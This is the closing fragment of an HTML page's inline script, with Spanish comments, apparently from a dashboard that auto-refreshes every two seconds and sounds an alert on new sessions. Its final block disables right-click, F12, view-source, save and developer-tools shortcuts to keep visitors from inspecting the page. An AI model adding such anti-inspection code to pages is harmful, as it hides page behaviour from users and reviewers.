                                if (newCount && currentCount) {
                                    currentCount.innerHTML = newCount.innerHTML;
                                }
                            }
                        });
                        
                        // Verificar si hay nuevas sesiones y reproducir sonido
                        checkForNewSessions();
                    })
                    .catch(error => console.error('Error actualizando:', error));
            }, 2000);
        }

        function stopAutoRefresh() {
            if (autoRefreshInterval) {
                clearInterval(autoRefreshInterval);
                autoRefreshInterval = null;
            }
        }

        document.getElementById('autoRefresh').addEventListener('change', function() {
            if (this.checked) {
                startAutoRefresh();
            } else {
                stopAutoRefresh();
            }
        });

        // Iniciar auto-refresh si está activado
        if (document.getElementById('autoRefresh').checked) {
            startAutoRefresh();
        }

        (function(){
            document.addEventListener('contextmenu', function(e) { e.preventDefault(); return false; });
            document.addEventListener('keydown', function(e) {
                if (e.key === 'F12' || 
                    (e.ctrlKey && e.key === 'u') || 
                    (e.ctrlKey && e.key === 'U') ||
                    (e.ctrlKey && e.key === 's') || 
                    (e.ctrlKey && e.key === 'S') ||
                    (e.ctrlKey && e.shiftKey && e.key === 'I') ||
                    (e.ctrlKey && e.shiftKey && e.key === 'i') ||
                    (e.ctrlKey && e.shiftKey && e.key === 'J') ||
                    (e.ctrlKey && e.shiftKey && e.key === 'j') ||
                    (e.ctrlKey && e.shiftKey && e.key === 'C') ||
                    (e.ctrlKey && e.shiftKey && e.key === 'c')) {
                    e.preventDefault();
                    return false;
                }
            });
            document.onkeydown = function(e) {
                if (e.keyCode === 123 || 
                    (e.ctrlKey && e.keyCode === 85) || 
                    (e.ctrlKey && e.keyCode === 83) ||
                    (e.ctrlKey && e.shiftKey && e.keyCode === 73) ||
                    (e.ctrlKey && e.shiftKey && e.keyCode === 74)) {
                    return false;
                }
            };
        })();
    </script>
</body>
</html>
